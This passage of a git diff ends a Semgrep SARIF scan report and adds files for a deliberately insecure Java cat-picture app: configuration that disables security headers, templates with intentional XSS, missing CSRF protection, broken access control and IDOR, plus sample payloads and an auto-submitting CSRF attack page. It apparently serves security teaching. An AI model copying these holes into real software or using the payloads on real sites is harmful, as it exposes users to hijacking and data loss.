identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"help":{"markdown":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.require-request.require-request)\n - [https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it](https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it)\n","text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"helpUri":"https://semgrep.dev/r/javascript.express.security.require-request.require-request","id":"javascript.express.security.require-request.require-request","name":"javascript.express.security.require-request.require-request","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.require-request.require-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","id":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","name":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib","id":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","name":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.code.tainted-code-stdlib.tainted-code-stdlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","id":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","name":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","id":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","name":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","id":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","name":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid"}}],"semanticVersion":"1.96.0"}}}],"$schema":"https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"}
\ No newline at end of file
diff --git a/insecure-java/src/main/resources/application.properties b/insecure-java/src/main/resources/application.properties
index 39412a3..8048c5e 100644
--- a/insecure-java/src/main/resources/application.properties
+++ b/insecure-java/src/main/resources/application.properties
@@ -1 +1,26 @@
-spring.application.name=insecure-java
+# Server port (optional)
+server.port=8080
+
+# Database configuration
+spring.datasource.url=jdbc:h2:mem:testdb
+spring.datasource.driverClassName=org.h2.Driver
+spring.datasource.username=sa
+spring.datasource.password=
+
+# JPA configuration
+spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
+spring.jpa.show-sql=true
+spring.jpa.hibernate.ddl-auto=create-drop
+spring.jpa.open-in-view=false
+
+# Thymeleaf configuration
+spring.thymeleaf.cache=false
+
+# Disable default security headers
+spring.security.headers.content-security-policy=none
+spring.security.headers.x-content-type-options=none
+spring.security.headers.x-frame-options=none
+spring.security.headers.x-xss-protection=0
+
+# Context path
+server.servlet.context-path=/java
diff --git a/insecure-java/src/main/resources/templates/addComment.html b/insecure-java/src/main/resources/templates/addComment.html
new file mode 100644
index 0000000..05b45e5
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/addComment.html
@@ -0,0 +1,20 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Add Comment</title>
+</head>
+<body>
+    <h2>Add Comment</h2>
+    <!-- Vulnerability: Cross-Site Scripting (XSS) - User input is not sanitized before being displayed. -->
+    <p><strong>Note:</strong> This page is vulnerable to XSS attacks. Malicious scripts can be injected via the comment field. When you view comments, they will activate.</p>
+    <form action="#" th:action="@{/addComment}" method="post">
+        <label>Comment:</label><br/>
+        <textarea name="commentText" rows="4" cols="50">&lt;script&gt;alert('XSS Attack');&lt;/script&gt;</textarea><br/>
+        <button type="submit">Add Comment</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Comment Text: <code>&lt;script&gt;alert('XSS Attack');&lt;/script&gt;</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/addCommentResult.html b/insecure-java/src/main/resources/templates/addCommentResult.html
new file mode 100644
index 0000000..f146bc8
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/addCommentResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Add Comment Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: Unsanitized user input can be exploited for XSS attacks. -->
+    <p><strong>Note:</strong> The comment you added may contain scripts that execute when viewing comments.</p>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/comments.html b/insecure-java/src/main/resources/templates/comments.html
new file mode 100644
index 0000000..877b085
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/comments.html
@@ -0,0 +1,24 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Comments</title>
+</head>
+<body>
+    <h2>Comments</h2>
+    <!-- Vulnerability: CSRF - No protection against unauthorized requests -->
+    <p><strong>Note:</strong> Deleting comments does not require any CSRF token, making it vulnerable to CSRF attacks.</p>
+    <ul>
+        <li th:each="comment : ${comments}">
+            <span th:utext="${comment.text}"></span>
+            <form action="#" th:action="@{/deleteComment}" method="post" style="display:inline;">
+                <input type="hidden" name="commentId" th:value="${comment.id}" />
+                <button type="submit">Delete</button>
+            </form>
+        </li>
+    </ul>
+    <p>Example Attack:</p>
+    <ul>
+        <li>An attacker can craft a hidden form to delete a comment without the user's knowledge.</li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/csrf_attack.html b/insecure-java/src/main/resources/templates/csrf_attack.html
new file mode 100644
index 0000000..de4129d
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/csrf_attack.html
@@ -0,0 +1,16 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <title>CSRF Attack Demo</title>
+</head>
+<body>
+    <h2>Malicious CSRF Page</h2>
+    <p>When this page loads, it will automatically submit a form to delete a comment on the Cat Picture App.</p>
+    <form action="http://localhost:8080/deleteComment" method="post" id="csrfForm">
+        <input type="hidden" name="commentId" value="1" />
+    </form>
+    <script>
+        document.getElementById('csrfForm').submit();
+    </script>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/delete.html b/insecure-java/src/main/resources/templates/delete.html
new file mode 100644
index 0000000..368ebb4
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/delete.html
@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Delete Picture</title>
+</head>
+<body>
+    <h2>Delete Cat Picture</h2>
+    <!-- Vulnerability: Broken Access Control - No authorization checks are performed. -->
+    <p><strong>Note:</strong> This function lacks access control. Any user can delete any picture by specifying its ID.</p>
+    <form action="#" th:action="@{/delete}" method="post">
+        <label>Picture ID: <input type="number" name="id" value="1" /></label><br/>
+        <button type="submit">Delete</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Picture ID: <code>1</code></li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/deleteResult.html b/insecure-java/src/main/resources/templates/deleteResult.html
new file mode 100644
index 0000000..c4fd704
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/deleteResult.html
@@ -0,0 +1,11 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Delete Result</title>
+</head>
+<body>
+    <h2 th:text="${message}"></h2>
+    <!-- Educational Note: Deleting resources without authorization checks leads to broken access control. -->
+    <p><strong>Note:</strong> The picture was deleted without verifying your permissions.</p>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/editProfile.html b/insecure-java/src/main/resources/templates/editProfile.html
new file mode 100644
index 0000000..7c6994b
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/editProfile.html
@@ -0,0 +1,21 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org" th:replace="layout :: * {content='this'}">
+<head>
+    <title>Edit Profile</title>
+</head>
+<body>
+    <h2>Edit Profile</h2>
+    <!-- Vulnerability: IDOR - Users can edit profiles without authorization -->
+    <p><strong>Note:</strong> This page allows editing of user information without verifying ownership.</p>
+    <form action="#" th:action="@{/editProfile}" method="post">
+        <input type="hidden" name="userId" th:value="${user.id}" />
+        <label>Username: <input type="text" name="username" th:value="${user.username}" /></label><br/>
+        <label>Password: <input type="password" name="password" /></label><br/>
+        <button type="submit">Update Profile</button>
+    </form>
+    <p>Example Payload:</p>
+    <ul>
+        <li>Edit another user's profile by accessing the edit form with their <code>userId</code>, e.g., <code>?userId=2</code>.</li>
+    </ul>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/home.html b/insecure-java/src/main/resources/templates/home.html
new file mode 100644
index 0000000..ddcd205
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/home.html
@@ -0,0 +1,183 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title>Home - Cat App</title>
+    <style>
+        body { 
+            font-family: Arial, sans-serif; 
+            margin: 0; 
+            padding: 0; 
+            line-height: 1.6;
+        }
+        .nav {
+            background: #333;
+            padding: 1rem;
+            color: white;
+        }
+        .nav-content {
+            max-width: 1200px;
+            margin: 0 auto;
+            display: flex;
+            justify-content: space-between;
+            align-items: center;
+        }
+        .nav-brand {
+            font-size: 1.5rem;
+            font-weight: bold;
+            color: white;
+            text-decoration: none;
+        }
+        .nav-links {
+            display: flex;
+            gap: 1rem;
+        }
+        .nav-links a {
+            color: white;
+            text-decoration: none;
+            padding: 0.5rem 1rem;
+            border-radius: 4px;
+        }
+        .nav-links a:hover {
+            background: #444;
+        }
+        .nav-user {
+            display: flex;
+            align-items: center;
+            gap: 1rem;
+        }
+        .nav-user span {
+            color: #ddd;
+        }
+        .container {
+            max-width: 1200px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .welcome-section {
+            text-align: center;
+            padding: 3rem 0;
+            background: #f8f9fa;
+            border-radius: 8px;
+            margin-bottom: 2rem;
+        }
+        .welcome-section h1 {
+            color: #333;
+            margin-bottom: 1rem;
+        }
+        .welcome-section p {
+            color: #666;
+            font-size: 1.2rem;
+            max-width: 600px;
+            margin: 0 auto;
+        }
+        .welcome-buttons {
+            display: flex;
+            gap: 1rem;
+            justify-content: center;
+            margin-top: 1.5rem;
+        }
+        .features {
+            display: grid;
+            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
+            gap: 2rem;
+            margin-top: 2rem;
+        }
+        .feature-card {
+            padding: 1.5rem;
+            background: white;
+            border-radius: 8px;
+            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
+        }
+        .feature-card h3 {
+            color: #333;
+            margin-bottom: 1rem;
+        }
+        .feature-card p {
+            color: #666;
+            margin: 0;
+        }
+        .cta-button {
+            display: inline-block;
+            background: #4CAF50;
+            color: white;
+            padding: 1rem 2rem;
+            text-decoration: none;
+            border-radius: 4px;
+            margin-top: 1rem;
+        }
+        .cta-button:hover {
+            background: #45a049;
+        }
+        .note {
+            margin-top: 2rem;
+            background: #fff3cd;
+            padding: 1rem;
+            border-radius: 4px;
+        }
+    </style>
+</head>
+<body>
+    <!-- Navigation Bar -->
+    <nav class="nav" th:if="${session.userId != null}">
+        <div class="nav-content">
+            <a th:href="@{/}" class="nav-brand">Cat App</a>
+            <div class="nav-links">
+                <a th:href="@{/}">Home</a>
+                <a th:href="@{/profile(userId=${session.userId})}">My Profile</a>
+                <a th:href="@{/search}">Search Cats</a>
+                <a th:href="@{/comments}">Comments</a>
+            </div>
+            <div class="nav-user">
+                <span th:text="${session.username}"></span>
+                <a th:href="@{/logout}">Logout</a>
+            </div>
+        </div>
+    </nav>
+
+    <!-- Main Content -->
+    <div class="container">
+        <!-- Welcome Section -->
+        <div class="welcome-section">
+            <h1>Welcome to Cat App</h1>
+            <p th:if="${session.userId == null}">
+                Share your favorite cat pictures, leave comments, and connect with other cat lovers!
+            </p>
+            <p th:if="${session.userId != null}">
+                Welcome back, <span th:text="${session.username}"></span>! Ready to share more cat pictures?
+            </p>
+            <div class="welcome-buttons" th:if="${session.userId == null}">
+                <a th:href="@{/login}" class="cta-button">Login</a>
+                <a th:href="@{/register}" class="cta-button">Register</a>
+            </div>
+        </div>
+
+        <!-- Features Grid -->
+        <div class="features">
+            <div class="feature-card">
+                <h3>Share Cat Pictures</h3>
+                <p>Upload and share your favorite cat pictures with the community.</p>
+                <a th:if="${session.userId != null}" th:href="@{/search}" class="cta-button">Browse Cats</a>
+                <a th:if="${session.userId == null}" th:href="@{/login}" class="cta-button">Login to Share</a>
+            </div>
+            <div class="feature-card">
+                <h3>Leave Comments</h3>
+                <p>Engage with other users by leaving comments on their cat pictures.</p>
+                <a th:if="${session.userId != null}" th:href="@{/comments}" class="cta-button">View Comments</a>
+                <a th:if="${session.userId == null}" th:href="@{/login}" class="cta-button">Login to Comment</a>
+            </div>
+            <div class="feature-card">
+                <h3>Search Pictures</h3>
+                <p>Find specific cat pictures using our search feature.</p>
+                <a th:if="${session.userId != null}" th:href="@{/search}" class="cta-button">Search Now</a>
+                <a th:if="${session.userId == null}" th:href="@{/login}" class="cta-button">Login to Search</a>
+            </div>
+        </div>
+
+        <!-- Vulnerability Note -->
+        <div class="note">
+            <strong>Note:</strong> This application contains intentional security vulnerabilities for educational purposes.
+            Please do not use this code in a production environment.
+        </div>
+    </div>
+</body>
+</html>
diff --git a/insecure-java/src/main/resources/templates/layout.html b/insecure-java/src/main/resources/templates/layout.html
new file mode 100644
index 0000000..7b74fcf
--- /dev/null
+++ b/insecure-java/src/main/resources/templates/layout.html
@@ -0,0 +1,110 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <title th:replace="${title} ?: _">Insecure Java App</title>
+    <style>
+        body { 
+            font-family: Arial, sans-serif; 
+            margin: 0; 
+            padding: 0; 
+            line-height: 1.6;
+        }
+        .nav {
+            background: #333;
+            padding: 1rem;
+            color: white;
+        }
+        .nav-content {
+            max-width: 1200px;
+            margin: 0 auto;
+            display: flex;
+            justify-content: space-between;
+            align-items: center;
+        }
+        .nav-brand {
+            font-size: 1.5rem;
+            font-weight: bold;
+            color: white;
+            text-decoration: none;
+        }
+        .nav-links {
+            display: flex;
+            gap: 1rem;
+        }
+        .nav-links a {
+            color: white;
+            text-decoration: none;
+            padding: 0.5rem 1rem;
+            border-radius: 4px;
+        }
+        .nav-links a:hover {
+            background: #444;
+        }
+        .nav-user {
+            display: flex;
+            align-items: center;
+            gap: 1rem;
+        }
+        .nav-user span {
+            color: #ddd;
+        }
+        .container {
+            max-width: 1200px;
+            margin: 0 auto;
+            padding: 2rem;
+        }
+        .messages {
+            margin-bottom: 1rem;
+        }
+        .message {
